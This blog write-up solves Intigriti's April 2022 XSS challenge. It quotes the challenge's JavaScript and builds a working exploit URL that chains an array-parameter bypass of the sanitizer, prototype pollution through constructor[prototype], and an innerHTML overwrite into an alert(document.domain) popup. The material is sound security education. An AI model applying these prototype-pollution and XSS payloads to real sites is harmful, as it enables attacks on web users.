Avatar

Jakub Brzozowski

Pentester, bug bounty hunter and security researcher. Also huge fan of Star Wars and coffee connaisseur :coffee:

Intigriti's April XSS challenge writeup

24 Apr 2022 » web-applications

intigriti_logo

XSS challenges are a great way to learn cool tricks on how to exploit client side and circumvent browser’s security measures. This months Intigriti XSS challenge was made by @aszx87410. The requirements for the solution were simple:

  • It should work on the latest version of Chrome and FireFox.
  • It should execute alert(document.domain).
  • It should leverage a cross site scripting vulnerability on this domain.
  • It shouldn’t be self-XSS or related to MiTM attacks.
  • It should not require any kind of user interaction. There should be a URL that when visited will present the victim with a popup

As we open the link with the challenge we are immediately stroke by a nostalgia wave of the Windows XP CSS styling.

intigriti1_noborder

On the webpage we can see a “Window Maker” program, and when we enter some dummy data a custom “window” in generated.

intigriti2_noborder

When we open the request in the Burp Suite we can see the following request:

GET /challenge/Window Maker.html?config[window-name]=testname&config[window-content]=testcontent&config[window-toolbar][0]=min&config[window-toolbar][1]=max&config[window-toolbar][2]=close&config[window-statusbar]=true HTTP/2
Host: challenge-0422.intigriti.io

After trying some basic payloads we can observe that the app is escaping some “malicious” characters in the JavaScript.

intigriti3_noborder

The culprit of this encoding is the sanitize() function.

function isPrimitive(n) {
  return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}

function merge(target, source) {
  let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

  for(let key in source) {
    if (protectedKeys.includes(key)) continue

    if (isPrimitive(target[key])) {
      target[key] = sanitize(source[key])
    } else {
      merge(target[key], source[key])
    }
  }
}

function sanitize(data) {
  if (typeof data !== 'string') return data
  return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}

The function replaces every occurence og the <>%& characters and replaces it with _. Every occurance of word script is replaced too. However if the typeof data !== 'string' condition is not met, the function will not sanitize the user input and simply return the data. To bypass this we can add square brackets [] to the URL parameter, so the function will treat the input as an array. With the following payload, we can bypass sanitization, but still no XSS as the tags are not rendered into DOM tree.

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-name][]=<asd>&config[window-content][]=<asd>&config[window-toolbar][0]=min&config[window-toolbar][1]=max&config[window-toolbar][2]=close&config[window-statusbar]=true

intigriti4_noborder

The URL passed to the application is parsed using the parseQueryString(location.search) function. Later we can see, that if the checkHost() function will be bypassed, we will be able to overwrite the devSettings object.

if (checkHost()) {
    devSettings["isTestHostOrPort"] = true
        merge(devSettings, qs.settings)
}

function checkHost() {
    const temp = location.host.split(':')
    const hostname = temp[0]
    const port = Number(temp[1]) || 443
    return hostname === 'localhost' || port === 8080
}

By exploiting a prototype pollution in the merge() function we are able to overwrite the prototype of the Array and change the value of temp[1] to 8080. This can be done by appending the following parameter to the URL:

config[window-toolbar][constructor][prototype][1]=8080

The above exploit works as there is no prototype string in the protectedKeys array:

let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]

So now we can overwrite the devSettings object by simply passing the parameter settings in the URL:

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-host]=asd&config[window-content]=sad&config[window-toolbar][constructor][prototype][1]=8080&settings[isDebug]=POLLUTED

intigriti5

The final goal is to alter the DOM content, which is generated from the devSettings[root] object:

m.mount(devSettings.root, {view: function() {
    return m(CustomizedApp, {
        name: appConfig["window-name"],
        content: appConfig["window-content"] ,
        options: appConfig["window-toolbar"],
        status: appConfig["window-statusbar"]
        })
    }})
}
document.body.appendChild(devSettings.root)

It took me a while to search for the right parameter to overwrite but finally I found that the innerHTML of the settings[root][ownerDocument][all][0] object can be overwritten and results in HTML code injection into the webpage. The last thing to do, was to add the bypass we found in the first place, to omit the sanitization and inject a malicious script to the webpage. The final payload looked like this:

https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][all][0][innerHTML][]=%3Cinput%20autofocus%20onfocus%3Dalert%28document%2Edomain%29%3E

When we open the above URL we could see that an alert() function was triggered thus completing the challenge.

intigriti6_noborder